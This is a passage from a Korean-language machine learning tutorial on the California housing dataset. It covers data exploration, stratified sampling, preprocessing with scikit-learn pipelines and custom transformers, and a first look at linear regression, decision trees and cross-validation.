# **`head()` 메서드 활용**
#
# 데이터프레임 객체의 처음 5개 샘플을 보여준다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-05.png" width="600"></div>
# **`info()` 메서드 활용**
#
# 데이터셋의 정보를 요약해서 보여준다.
#
# * 구역 수: 20,640개. 한 구역의 인구는 600에서 3,000명 사이.
# * 구역별로 경도, 위도, 중간 주택 연도, 해안 근접도 등 총 10개의 조사 항목
# * '해안 근접도'는 범주형 특성이고 나머지는 수치형 특성.
# * '방의 총 개수'의 경우 207개의 null 값, 즉 결측치 존재.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-05a.png" width="350"></div>
# **범주형 특성 탐색**
#
# '해안 근접도'는 5개의 범주로 구분된다.
#
# | 특성값 | 설명 |
# | --- | --- |
# | <1H OCEAN | 해안에서 1시간 이내 |
# | INLAND | 내륙 |
# | NEAR OCEAN | 해안 근처 |
# | NEAR BAY | 샌프란시스코의 Bay Area 구역 |
# | ISLAND | 섬 |
# **수치형 특성 탐색**
#
# `describe()` 메서드는 수치형 특성들의 정보를 요약해서 보여준다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/housing-describe.png"></div>
# `hist()` 메서드는 수치형 특성별 히스토그램을 그린다.
# 히스토그램을 통해 각 특성별 데이터셋의 다양한 정보를 확인할 수 있다.
#
# - 각 특성마다 사용되는 단위와 스케일(척도)가 다르다.
# - 일부 특성은 한쪽으로 치우쳐저 있다.
# - 일부 특성은 값을 제한한 것으로 보인다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/feature-histogram.png" width="600px"></div>
# ### 훈련셋과 테스트셋
# 모델 학습 시작 이전에 준비된 데이터셋을 **훈련셋**과 **테스트셋**으로 구분해야 한다.
# 테스트셋은 훈련 과정중에 전혀 사용되지 않으며 보통 전체 데이터셋의 20% 정도 이하로
# 선택하며, 전체 데이터셋의 크기에 따라 테스트셋의 크기가 너무 크지 않게
# 비율을 적절히 조절한다.
#
# 테스트셋에 대한 정보는 절대로 모델 훈련에 이용하지 않는다.
# 만약 이용하게 되면 미래에 실전에서 사용되는 데이터를 미리 안다고 가정하고 모델을 훈련시키는
# 것과 동일하게 되어 매우 잘못된 모델을 훈련시킬 위험을 키우게 된다.
#
# 데이터셋을 훈련셋과 데이터셋으로 구분할 때 보통 층화표집을 사용한다.
# **층화표집**
#
# **층화표집**<font size="2">stratified sampling</font>은 각 계층별로 적절한 샘플을 추측하는 기법이다.
# 이유는 계층별로 충분한 크기의 샘플이 포함되도록 지정해야 학습 과정에서 편향이 발생하지 않는다.
# 예를 들어, 특정 소득 구간에 포함된 샘플이 과하게 적거나 많으면 해당 계층의 중요도가
# 과소 혹은 과대 평가될 수 있다.
#
# 캘리포니아 데이터셋의 중간 소득을 대상으로하는 히스토그램을 보면
# 대부분 구역의 중간 소득이 1.5~6.0, 즉 15,000 달러에서 60,000 달러 사이인 것을 알 수 있다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-08.png" width="400"></div>
# 소득 구간을 아래 숫자들을 기준으로 5개로 구분한 다음에 층화표집을 이용하여
# 훈련셋과 테스트셋을 구분할 수 있다.
#
# | 구간 | 범위 |
# | :---: | :--- |
# | 1 | 0 ~ 1.5 |
# | 2 | 1.5 ~ 3.0 |
# | 3 | 3.0 ~ 4.5 |
# | 4 | 4.5 ~ 6.0 |
# | 5 | 6.0 ~ |
# 5 개의 구간으로 구분한 결과는 다음과 같다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-08a.png" width="400"></div>
# 무작위 추출 방식과는 달리 계층별 샘플의 비율을 거의 동일하게 유지함을 확인할 수 있다.
# | | 전체 | 층화표집 | 무작위 추출 | 층화표집 오류율 | 무작위 추출 오류율 |
# | :--- | :--- | :--- | :--- | :--- | :--- |
# | 1 | 3.98 | 4.00 | 4.24 | 0.36 | 6.45 |
# | 2 | 31.88 | 31.88 | 30.74 | -0.02 | -3.59 |
# | 3 | 35.06 | 35.05 | 34.52 | -0.01 | -1.53 |
# | 4 | 17.63 | 17.64 | 18.41 | 0.03 | 4.42 |
# | 5 | 11.44 | 11.43 | 12.09 | -0.08 | 5.63 |
# ## 데이터 탐색과 시각화
# 테스트셋을 제외한 훈련셋에 대해서 시각화를 이용하여 데이터셋을 탐색한다.
# ### 지리적 데이터 시각화
# 경도와 위도 정보를 이용하여 구역을 산포도로 나타내면 인구의 밀집 정도를 확인할 수 있다.
# 예를 들어, 샌프란시스코의 Bay Area, LA, 샌디에고 등 유명 대도시의 특정 구역이 높은 인구 밀도를 갖는다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-09.png" width="500"></div>
# 인구 밀도가 높은 유명 대도시의 특정 구역에 위치한
# 주택 가격이 높다는 일반적인 사실 또한 산포도록 확인할 수 있다.
# 산포도를 그릴 때 해당 구역의 중간 주택 가격을 색상으로,
# 인구밀도는 원의 크기로 활용한 결과는 다음과 같다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-11.png" width="500"></div>
# ### 상관관계 조사
# 중간 주택 가격 특성과 다른 특성 사이의 선형 상관관계를 나타내는 상관계수는 다음과 같다.
# ```python
# median_house_value 1.000000
# median_income 0.688380
# rooms_per_house 0.143663
# total_rooms 0.137455
# housing_median_age 0.102175
# households 0.071426
# total_bedrooms 0.054635
# population -0.020153
# people_per_house -0.038224
# longitude -0.050859
# latitude -0.139584
# bedrooms_ratio -0.256397
# ```
# **상관계수의 특징**
#
# 상관계수는 -1에서 1 사이의 값으로 표현된다.
#
# * 1에 가까울 수록: 강한 양의 선형 상관관계
# * -1에 가까울 수록: 강한 음의 선형 상관관계
# * 0에 가까울 수록: 매우 약한 선형 상관관계
# :::{admonition} 상관계수와 상관관계
# :class: warning
#
# 상관계수가 0이라는 것은 선형 상관관계가 없다는 의미이지 서로 아무런 상관관계가 없다는 말이 아니다.
# 또한 선형계수가 1이라 하더라도 두 특성이 1대 1로 의존한다는 의미도 아님을
# 아래 그림이 잘 보여준다.
#
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-14.png" width="400"></div>
#
# <그림 출처: [위키백과](https://en.wikipedia.org/wiki/Pearson_correlation_coefficient)>
# :::
# 중간 주택 가격과 중간 소득의 상관계수가 0.68로 가장 높다.
# 이는 중간 소득이 올라가면 중간 주택 가격도 상승하는 경향이 있음을 의미한다.
# 하지만 아래 산점도의 점들이 너무 넓게 퍼져 있어서 완벽한 선형관계와는 거리가 멀다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-13.png" width="400"></div>
# 위 산점도를 볼 때 다음 사항들에 주의해야 한다.
#
# * 50만 달러에서 보이는 수평선은 가격을 제한한 결과로 보여진다.
# * 45만, 35만, 28만, 그 아래 정도에서도 수평선이 존재하는데 이유는 알려지지 않았다.
# * 이처럼 이상한 성질을 모델이 형태를 학습하지 못하도록 해당 구역을 제거하는 것이
# 일반적으로 좋다. 하지만 여기서는 그대로 두고 사용한다.
# 경우에 따라 기존의 특성을 조합해서 새로운 특성을 활용할 수도 있다.
# 예를 들어 구역별 방의 총 개수와 침실의 총 개수 대신 아래 특성이 보다 유용해 보인다.
#
# * 가구당 방 개수(`rooms_for_house`)
# * 방 하나당 침실 개수(`bedrooms_ratio`)
# * 가구당 인원(`people_perhouse`)
#
# 실제로 세 특성을 새로 추가한 다음에 상관계수를 확인하면
# 방 하나당 침실 개수와 중간 주택 가격 사이의 선형 상관관계가
# 중간 소득을 제외한 기존의 다른 특성들에 비해 높게 나타난다.
# ## 데이터 준비
# 머신러닝 모델 훈련에 사용되는 알고리즘을 이용하려면
# 적재된 데이터셋을 데이터 정제와 전처리 과정을 수행해서
# 바로 모델 훈련에 사용될 수 있도록 해야 한다.
# 또한 모든 과정을 자동화할 수 있어야 한다.
#
# 정제와 전처리 모든 과정을
# __파이프라인__<font size="2">pipeline</font>으로
# 자동화해서 언제든지 재활용하는 방식을 상세히 설명한다.
# **입력 데이터셋과 타깃 데이터셋**
#
# 층화표집으로 얻어진 훈련셋 `strat_train_set` 을
# 다시 입력 데이터셋 과 타깃 데이터셋으로 구분한다.
#
# * 입력 데이터셋: 중간 주택 가격 특성이 제거된 훈련셋
#
# ```python
# housing = strat_train_set.drop("median_house_value", axis=1)
# ```
# * 타깃 데이터셋: 중간 주택 가격 특성으로만 구성된 훈련셋
#
# ```python
# housing_labels = strat_train_set["median_house_value"].copy()
# ```
# ### 데이터 정제와 전처리
# 데이터 정제는 결측치 처리, 이상치 및 노이즈 데이터 제거 등을 의미한다.
# 캘리포니아 주택 가격 데이터셋은 구역별 방 총 개수(`total_rooms`) 특성에서
# 결측치가 일부 포함되어 있지만 이상치 또는 노이즈 데이터는 없다.
# 전처리는 수치형 특성과 범주형 특성을 구분하여 수행한다.
#
# * 수치형 특성에 대한 전처리
# * 특성 스케일링
# * 특성 조합
#
# * 범주형 특성 전처리 과정
# * 원-핫-인코딩
# 데이터 정제와 전처리의 모든 과정은 데이터셋에 포함된 샘플을 한꺼번에 변환한다.
# 따라서 모든 변환 과정을 자동화는
# __파이프라인__<font size="2">pipeline</font> 기법을 활용할 수 있어야 한다.
# **사이킷런 API 활용**
# 사이킷런<font size="2">Scikit-Learn</font>에서 제공하는
# 머신러닝 관련 API를 활용하여 데이터 준비 과정을 자동화하는 파이프라인을 쉽게 구현할 수 있다.
# 파이프라인 구성이 간단한 이유는 사이킷런의 API를 간단하게 합성할 수 있기 때문이다.
# 이점을 이해하려면 먼저 사이킷런이 제공하는 API의 유형을 구분해야 한다.
#
# 사이킷런의 API는 크게 세 종류의 클래스로 나뉜다.
# * 추정기<font size="2">estimator</font>
# * 인자로 주어진 데이터셋 객체 관련된 특정 값 계산
# * `fit()` 메서드: 계산된 값을 저장한 데이터셋 객체 반환
# * 변환기<font size="2">transformer</font>
# * `fit()` 메서드 이외에 `fit()` 가 계산한 값을 이용하여 데이터셋을 변환하는 `transform()` 메서드 지원.
# * `fit()` 메서드와 `transform()` 메서드를 연속해서 호출하는 `fit_transform()` 메서드 지원.
# * 예측기<font size="2">predictor</font>
# * `fit()` 메서드 이외에 `fit()` 가 계산한 값을 이용하여
# 타깃을 예측하는 `predict()` 메서드 지원.
# * `predict()` 메서드가 예측한 값의 성능을 측정하는 `score()` 메서드 지원.
# * 일부 예측기는 예측값의 신뢰도를 평가하는 기능도 제공
# :::{admonition} 변환기 사용법
# :class: warning
#
# `fit()` 과 `fit_transform()` 두 메서드는 훈련셋에 대해서만 적용한다.
# 반면에 테스트셋, 검증셋, 새로운 데이터 등에 대해서는 `transform()` 메서드만 적용한다.
# 즉, 훈련셋을 대상으로 계산된 파라미터를 이용하여
# 훈련 이외의 경우에 `transform()` 메서드를 이용하여 데이터를 변환한다.
# :::
# 사이킷런의 API는 적절한
# **하이퍼파라미터**<font size="2">hyperparameter</font>로 초기화되어 있으며
# 예측 및 변환 관정에 필요한 모든 파라미터를 효율적으로 관리한다.
# :::{admonition} 하이퍼파라미터 vs. 파라미터
# :class: info
#
# 사이킷런 API의 하이퍼파라미터는 해당 객체를 생성할 때 사용되는 값을 가리킨다.
# 즉, API 객체를 생성하기 위해 해당 API 클래스의 생성자인
# `__init__()` 메서드를 호출할 때 사용되는 인자를 가리킨다.
#
# 반면에 파라미터는 지정된 API 객체의 `fit()` 메서드가 훈련되는 모델과
# 관련해서 계산하는 값을 가리킨다.
# 추정기, 변환기, 예측기는 각각의 역할에 맞는 파라미터를 계산한다.
# :::
# ### 데이터 정제
# 입력 데이터셋의 `total_bedrooms` 특성에 207개 구역이 null 값으로 채워져 있다.
# 즉, 일부 구역에 대한 방의 총 개수 정보가 누락되었다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/null-value01.png" width="800"></div>
# 머신러닝 모델은 결측치가 있는 데이터셋을 잘 활용하지 못한다.
# 따라서 아래 옵션 중 하나를 선택해서 데이터를 정제해야 한다.
#
# * 옵션 1: 해당 구역 제거
# * 옵션 2: 해당 특성 삭제
# * 옵션 3: 평균값, 중앙값, 0, 주변에 위치한 값 등 특정 값으로 채우기.
# 여기서는 중앙값으로 채우는 옵션 3 방식을 사이킷런의 `SimpleImputer` 변환기를 이용하여 적용한다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/null-value02.png" width="800"></div>
# ### 범주형 특성 다루기: 원-핫 인코딩
# 해안 근접도(`ocean_proximity`)는 수가 아닌 5 개의 범주를 나타내는 텍스트를 값으로 사용한다.
# 그런데 머신러닝 모델은 일반적으로 텍스트 데이터를 처리하지 못한다.
# 가장 단순한 해결책으로 5 개의 범주를 정수로 변환할 수 있다.
#
# | 범주 | 숫자 |
# |---|---|
# | <1H OCEAN | 0 |
# | INLAND | 1 |
# | ISLAND | 2 |
# | NEAR BAY | 3 |
# | NEAR OCEAN | 4 |
#
# 하지만 이 방식은 수의 크기 특성을 모델이 활용할 수 있기에 위험하다.
# 예를 들어 바닷가 근처(`NEAR OCEAN`)에 위치한 주택이 가장 비쌀 것으로 모델이 학습할 수 있다.
# 범주형 특성을 수치화하는 가장 일반적인 방식은
# **원-핫 인코딩**<font size="2">one-hot encoding</font>이다.
# 원-핫 인코딩은 수치화된 범주들 사이의 크기 비교를 피하기 위해
# 더미<font size="2">dummy</font> 특성을 활용한다.
#
# 원-핫 인코딩을 적용하면 해안 근접도 특성을 삭제하고 대신 다섯 개의 범주 전부를
# 새로운 특성으로 추가한다.
# 또한 다섯 개의 특성에 사용되는 값은 다음 방식으로 지정된다.
#
# * 해당 카테고리의 특성값: 1
# * 나머지 카테고리의 특성값: 0
#
# 예를 들어, `INLAND`를 해안 근접도 특성값으로 갖던 샘플은 다음 모양의 특성값을 갖게 된다.
#
# ```python
# [0, 1, 0, 0, 0]
# ```
# 사이킷런의 `OneHotEncoder` 변환기가 원-핫-인코딩을 지원하며
# 해안 근접도를 변환한 결과는 아래 모양을 갖는다.
# ```python
# array([[0., 0., 0., 1., 0.],
# [1., 0., 0., 0., 0.],
# [0., 1., 0., 0., 0.],
# ...,
# [0., 0., 0., 0., 1.],
# [1., 0., 0., 0., 0.],
# [0., 0., 0., 0., 1.]])
# ```
# ### 특성 스케일링
# 머신러닝 알고리즘은 입력 데이터셋의 특성값들의
# **스케일**<font size="2">scale</font>(척도)이 다르면 제대로 작동하지 않는다.
# 따라서 모든 특성의 척도를 통일하는 **스케일링**<font size="2">scaling</font>이 요구된다.
# 스케일링은 보통 아래 두 가지 방식을 사용한다.
#
# - min-max 스케일링
# - 표준화
# **min-max 스케일링**
#
# **정규화**(normalization)라고도 불리며
# 아래 식을 이용하여 모든 특성값을 0에서 1 사이의 값으로 변환한다.
# 단, $max$ 와 $min$ 은 각각 특성값들의 최댓값과 최솟값을 가리킨다.
#
# $$
# \frac{x-min}{max-min}
# $$
#
# min-max 스케일링은 이상치에 매우 민감하다.
# 예를 들어 이상치가 매우 크면 분모가 분자에 비해 훨씬 크게 되어 변환된 값이 0 근처에 몰리게 된다.
# 사이킷런의 `MinMaxScaler` 변환기가 min-max 스케일링을 지원한다.
# **표준화(standardization)**
#
# 아래식을 이용하여 특성값을 변환한다.
# 단, $\mu$ 와 $\sigma$ 는 각각 특성값들의 평균값과 표준편차를 가리킨다.
#
# $$
# \frac{x-\mu}{\sigma}
# $$
#
# 변환된 데이터셋은 **표준정규분포**를 따르며, 이상치에 상대적으로 덜 영향을 받는다.
# 여기서는 사이킷런의 `StandardScaler` 변환기를 이용하여 표준화를 적용한다.
# :::{admonition} 타깃 데이터셋 전처리
# :class: info
#
# 데이터 준비는 기본적으로 입력 데이터셋만을 대상으로 **정제**<font size="2">cleaning</font>와
# **전처리**<font size="2">preprocessing</font> 단계로 실행된다.
# 타깃 데이터셋은 결측치가 없는 경우라면 일반적으로 정제와 전처리 대상이 아니지만
# 경우에 따라 변환이 요구될 수 있다.
# 예를 들어, 타깃 데이터셋의 두터운 꼬리 분포를 따르는 경우
# 로그 함수를 적용하여 데이터의 분포가 보다 균형잡히도록 하는 것이 권장된다.
# 하지만 이런 경우 예측값을 계산할 때 원래의 척도로 되돌려야 하며
# 이를 위해 대부분의 사이킷런 변환기가 지원하는 `inverse_transorm()` 메서드를 활용할 수 있다.
# :::
# ### 사용자 정의 변환기
# 데이터 준비 과정에서 경우에 따라 사용자가 직접 변환기를 구현해야할 필요가 있다.
# #### `FunctionTransformer` 변환기
# `fit()` 메서드를 먼저 사용하지 않고 `transform()` 메서드를 바로 적용해도 되는
# 변환기는 `FunctionTransformer` 객체를 활용하여 생성할 수 있다.
# **로그 함수 적용 변환기**
#
# 데이터셋이 두터운 꼬리 분포를 따르는 경우,
# 즉 히스토그램이 지나치게 한쪽으로 편향된 경우
# 스케일링을 적용하기 전에 먼저
# 로그 함수를 적용하여 어느 정도 좌우 균형이 잡힌 분포로 변환하는 게 좋다.
# 아래 그림은 인구에 로그함수를 적용할 때 분포가 보다 균형잡히는 것을 잘 보여준다.
#
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-log_app.jpg" width="600"></div>
# 두터운 꼬리 분포를 갖는 데이터셋에 로그 함수를 적용하고자 하면 아래 변환기를 사용하면 된다.
#
# ```python
# FunctionTransformer(np.log, inverse_func=np.exp)
# ```
# **비율 계산 변환기**
#
# 두 개의 특성 사이의 비율을 계산하여 새로운 특성을 생성하는 변환기 또한
# `FunctionTransformer`를 활용할 수 있다.
#
# ```python
# FunctionTransformer(lambda X: X[:, [0]] / X[:, [1]])
# ```
# 비율 계산 변환기를 이용하여 아래 특성을 새롭게 생성할 수 있다.
#
# - 가구당 방 개수(rooms for household)
# - 방 하나당 침실 개수(bedrooms for room)
# - 가구당 인원(population per household)
# #### 사용자 정의 변환 클래스
# `SimpleImputer` 변환기의 경우처럼
# 먼저 `fit()` 메서드를 이용하여 평균값, 중앙값 등을 확인한 다음에
# `transform()` 메서드를 적용할 수 있는 변환기는 클래스를 직접 선언해야 한다.
# 이때 사이킷런의 다른 변환기와 호환이 되도록 하기 위해
# `fit()` 과 `transform()` 등 다양한 메서드를 모두 구현해야 한다.
#
# 예를 들어, 캘리포니아 주 2만 여개의 구역을 서로 가깝게 위치한 구역들의 군집으로 구분하는 변환기는
# 다음과 같다. 단, 아래 코드를 지금 이해할 필요는 없다.
# ```python
# class ClusterSimilarity(BaseEstimator, TransformerMixin):
# def __init__(self, n_clusters=10, gamma=1.0, random_state=None):
# self.n_clusters = n_clusters
# self.gamma = gamma
# self.random_state = random_state
#
# def fit(self, X, y=None, sample_weight=None):
# self.kmeans_ = KMeans(self.n_clusters, random_state=self.random_state)
# self.kmeans_.fit(X, sample_weight=sample_weight)
# return self # 항상 self 반환
#
# def transform(self, X):
# return rbf_kernel(X, self.kmeans_.cluster_centers_, gamma=self.gamma)
#
# def get_feature_names_out(self, names=None):
# return [f"Cluster {i} similarity" for i in range(self.n_clusters)]
# ```
# :::{admonition} `KMeans` 모델과 `rbf_kernel()` 함수
# :class: info
#
# 위 클래스는 `KMeans` 모델과 `rbf_kernel()` 함수를 활용한다.
#
# **`KMeans` 모델**
#
# {numref}`%s장 <ch:unsupervisedLearning>` 비지도 학습에서 다룰 군집 알고리즘 모델이다.
#
# **`rbf_kernel()` 함수**
#
# 다음 가우시안 RBF 함수를 활용한다.
# $\mathbf{p}$ 는 특정 지점을 가리키며,
# $\mathbf{p}$ 에서 조금만 멀어져도 함숫값이 급격히 작아진다.
#
#
# $$
# \phi(\mathbf{x},\mathbf{p}) = \exp \left( -\gamma \|\mathbf{x} - \mathbf{p} \|^2 \right)
# $$
#
# 예를 들어 아래 이미지는 중간 주택 년수가 35년에서 멀어질 수록
# 함숫값이 급격히 0에 가까워지는 것을 보여준다.
# 하이퍼파라미터인 **감마**($\gamma$, gamma)는 얼마나 빠르게 감소하도록 하는가를 결정한다.
# 즉, 감마 값이 클 수록 보다 좁은 종 모양의 그래프가 그려진다.
#
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-rbf_kernel.jpg" width="400"></div>
# :::
# `ClusterSimilarity` 변환기를 이용하여 얻어진 군집 특성을 이용하면
# 아래 그림과 같은 결과를 얻을 수 있다.
#
# - 모든 구역을 10개의 군집으로 나눈다.
# - ╳ 는 각 군집의 중심 구역을 나타낸다.
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/homl02-cluster.jpg" width="550"></div>
# ### 변환 파이프라인
# 모든 전처리 단계가 정확한 순서대로 진행되어야 한다.
# 이를 위해 사이킷런의 `Pipeline` 클래스를 이용하여 여러 변환기를 순서대로
# 실행하는 파이프라인 변환기를 활용한다.
# **`Pipeline` 클래스**
#
# 예를 들어, 수치형 특성을 대상으로 결측치를 중앙값으로 채우는 정제와
# 표준화 스케일링을 연속적으로 실행하는 파이프라인은 다음과 같이 정의한다.
#
# ```python
# num_pipeline = Pipeline([("impute", SimpleImputer(strategy="median")),
# ("standardize", StandardScaler())])
# ```
#
# * `Pipeline` 객체를 생성할 때 사용되는 인자는 이름과 추정기로 이루어진 쌍들의 리스트이다.
#
# * 마지막 추정기를 제외한 나머지 추정기는 모두 변환기다.
# 즉, 마지막 추정기는 `fit()` 메서드만 지원해도 되지만
# 나머지는 `fit_transform()` 메서드가 지원되는 변환기어야 한다.
#
# * `num_pipeline.fit()` 를 호출하면
# 마지막 변환기 까지는 `fit_transform()` 메소드가 연속적으로 호출되고
# 마지막 변환기의 `fit()` 메서드 최종 호출된다.
#
# * 파이프라인으로 정의된 추정기의 유형은 마지막 추정기의 유형과 동일하다.
# 따라서 `num_pipeline` 은 변환기다.
# **`make_pipeline()` 함수**
#
# 파이프라인에 포함되는 변환기의 이름이 중요하지 않다면 `make_pipeline()` 함수를 이용하여
# `Pipeline` 객체를 생성할 수 있다. 이름은 자동으로 지정된다.
#
# 위 파이프라인과 동일한 파이프라인 객체를 다음과 같이 생성할 수 있다.
#
# ```python
# make_pipeline(SimpleImputer(strategy="median"),
# StandardScaler())
# ```
# **`ColumnTransformer` 클래스**
#
# `ColumnTransformer` 클래스는 특성별로 전처리를 지정할 수 있다.
# 이 기능을 이용하여 수치형 특성과 범주형 특성을 구분해서
# 전처리하는 통합 파이프라인을 다음과 같이 구성할 수 있다.
#
# * 수치형 특성: `num_pipeline` 변환기
# * 범주형 특성: `OneHotEncoder` 변환기
#
# ```python
# num_attribs = ["longitude", "latitude", "housing_median_age", "total_rooms",
# "total_bedrooms", "population", "households", "median_income"]
# cat_attribs = ["ocean_proximity"]
#
# cat_pipeline = make_pipeline(
# SimpleImputer(strategy="most_frequent"),
# OneHotEncoder(handle_unknown="ignore"))
#
# preprocessing = ColumnTransformer([
# ("num", num_pipeline, num_attribs),
# ("cat", cat_pipeline, cat_attribs),
# ])
# ```
# **`make_column_selector()` 함수**
#
# 파이프라인에 포함되는 각 변환기를 적용할 특성을 일일이 나열하는 일이 어려울 수 있다.
# 이때 지정된 자료형을 사용하는 특성들만을 뽑아주는 `make_column_selector()` 함수를
# 유용하게 활용할 수 있다.
#
# 위 `preprocessing` 변환기를 아래와 같이 정의할 수 있다.
#
# ```python
# preprocessing = ColumnTransformer([
# ("num", num_pipeline, make_column_selector(dtype_include=np.number)),
# ("cat", cat_pipeline, make_column_selector(dtype_include=object)
# ])
# ```
# **`make_column_transformer()` 함수**
#
# `ColumnTransformer` 파이프라인에 포함되는 변환기의 이름이 중요하지 않다면
# `make_column_transformer()` 함수를 이용할 수 있으며,
# `make_pipeline()` 함수와 유사하게 작동한다.
#
# 위 `preprocessing` 변환기를 아래와 같이 정의할 수 있다.
#
# ```python
# preprocessing = make_column_transformer(
# (num_pipeline, make_column_selector(dtype_include=np.number)),
# (cat_pipeline, make_column_selector(dtype_include=object)),
# )
# ```
# ### 캘리포니아 데이터셋 변환 파이프라인
# 다음 변환기를 모아 캘리포니아 데이터셋 전용 변환 파이프라인을 생성할 수 있다.
# **(1) 비율 변환기**
#
# 가구당 방 개수, 방 하나당 침실 개수, 가구당 인원 등
# 비율을 사용하는 특성을 새로 추가할 때 사용되는 변화기를 생성하는 함수를 정의한다.
# ```python
# def column_ratio(X):
# return X[:, [0]] / X[:, [1]]
#
# def ratio_pipeline(name=None):
# return make_pipeline(
# SimpleImputer(strategy="median"),
# FunctionTransformer(column_ratio,
# feature_names_out=[name]),
# StandardScaler())
# ```
# **(2) 로그 변환기**
#
# 데이터 분포가 두터운 꼬리를 갖는 특성을 대상으로 로그 함수를 적용하는 변환기를 지정한다.
# ```python
# log_pipeline = make_pipeline(SimpleImputer(strategy="median"),
# FunctionTransformer(np.log),
# StandardScaler())
# ```
# **(3) 군집 변환기**
#
# 구역의 위도와 경도를 이용하여 구역들의 군집 정보를 새로운 특성으로 추가하는 변환기를 지정한다.
# ```python
# cluster_simil = ClusterSimilarity(n_clusters=10, gamma=1., random_state=42)
# ```
# **(4) 기타**
#
# 특별한 변환이 필요 없는 경우에도 기본적으로 결측치 문제 해결과 스케일을 조정하는 변환기를 사용한다.
# ```python
# default_num_pipeline = make_pipeline(SimpleImputer(strategy="median"),
# StandardScaler())
# ```
# 앞서 언급된 모든 변환기를 특성별로 알아서 처리하는 변환기는 다음과 같다.
# `remainder=default_num_pipeline`: 언급되지 않은 특성을 처리하는 변환기를 지정한다.
# 삭제를 의미하는 `drop` 이 기본값이며 이외에 `passthrough` 는 변환하지 않는 것을 의미한다.
# ```python
# preprocessing = ColumnTransformer([
# ("bedrooms_ratio", ratio_pipeline("bedrooms_ratio"), # 방당 침실 수
# ["total_bedrooms", "total_rooms"]),
# ("rooms_per_house", ratio_pipeline("rooms_per_house"), # 가구당 방 수
# ["total_rooms", "households"]),
# ("people_per_house", ratio_pipeline("people_per_house"), # 가구당 인원
# ["population", "households"]),
# ("log", log_pipeline, ["total_bedrooms", "total_rooms", # 로그 변환
# "population", "households", "median_income"]),
# ("geo", cluster_simil, ["latitude", "longitude"]), # 구역별 군집 정보
# ("cat", cat_pipeline, make_column_selector(dtype_include=object)), # 범주형 특성 전처리
# ],
# remainder=default_num_pipeline) # 중간 주택 년수(housing_median_age) 대상
# ```
# ## 모델 선택과 훈련
# 훈련셋 준비가 완료된 상황에서 모델을 선택하고 훈련시키는 일이 남아 있다.
#
# 사이킷런이 제공하는 예측기 모델을 사용하면 훈련은 기본적으로 간단하게 진행된다.
# 여기서는 사이킷런이 제공하는 다양한 모델의 사용법과 차이점을 간단하게 살펴본다.
# 각 모델의 자세한 특징과 상세 설명은 앞으로 차차 이루어질 것이다.
# :::{admonition} 전처리 포함 파이프라인 모델
# :class: info
#
# 소개되는 모든 모델은 앞서 설명한 전처리 과정과 함께 하나의 파이프라인으로 묶여서 정의된다.
# 이는 테스트셋과 미래의 모든 입력 데이터셋에 대해서도 전처리를 별도로 신경쓸 필요가 없게 해준다.
# :::
# ### 훈련셋 대상 훈련 및 평가
# **선형 회귀 모델 ({numref}`%s장 <ch:trainingModels>`)**
# * 훈련 및 예측
#
# ```python
# lin_reg = make_pipeline(preprocessing, LinearRegression())
# lin_reg.fit(housing, housing_labels)
# lin_reg.predict(housing)
# ```
#
# - RMSE(평균 제곱근 오차)
#
# ```python
# lin_rmse = mean_squared_error(housing_labels, housing_predictions,
# squared=False)
# ```
# - 훈련 결과
# - RMSE(`lin_rmse`)가 68687.89 정도로 별로 좋지 않다.
# - 훈련된 모델이 훈련셋에 __과소적합__ 되었다.
# - 보다 좋은 특성을 찾거나 더 강력한 모델을 적용해야 한다.
# **결정트리 회귀 모델 ({numref}`%s장 <ch:decisionTrees>`)**
# 결정트리 회귀 모델은 데이터에서 복잡한 비선형 관계를 학습할 때 사용한다.
#
# * 훈련 및 예측
#
# ```python
# tree_reg = make_pipeline(preprocessing, DecisionTreeRegressor(random_state=42))
# tree_reg.fit(housing, housing_labels)
# housing_predictions = tree_reg.predict(housing)
#
# tree_rmse = mean_squared_error(housing_labels, housing_predictions,
# squared=False)
# ```
# - 훈련 결과
# - RMSE(`tree_rmse`)가 0으로 완벽해 보인다.
# - 모델이 훈련셋에 심각하게 __과대적합__ 되었음을 의미한다.
# - 실전 상황에서 RMSE가 0이 되는 것은 불가능하다.
# - 테스트셋에 대한 RMSE는 매우 높게 나온다.
# ### 교차 검증
# __교차 검증__<font size="2">cross validation</font>을 이용하여
# 훈련중인 모델의 성능을 평가할 수 있다.
# **k-겹 교차 검증**
#
# * 훈련셋을 __폴드__(fold)라 불리는 k-개의 부분 집합으로 무작위로 분할한다.
# * 모델을 총 k 번 훈련한다.
# * 매 훈련마나다 하나의 폴드를 선택하여 검증 데이터셋 지정.
# * 나머지 (k-1) 개의 폴드를 대상으로 훈련
# * 매 훈련이 끝날 때마다 선택된 검증 데이터셋을 이용하여 모델 평가
# * 매번 다른 폴드 활용
# * 최종평가는 k-번 평가 결과의 평균값을 활용한다.
#
# <div align="center"><img src="https://raw.githubusercontent.com/codingalzi/handson-ml3/master/jupyter-book/imgs/ch02/cross-val10a.png" width="550"></div>
# **사이킷런의 `cross_val_score()` 함수**
#
# `cross_val_score()` 함수는 k-겹 교차 검증 과정에서
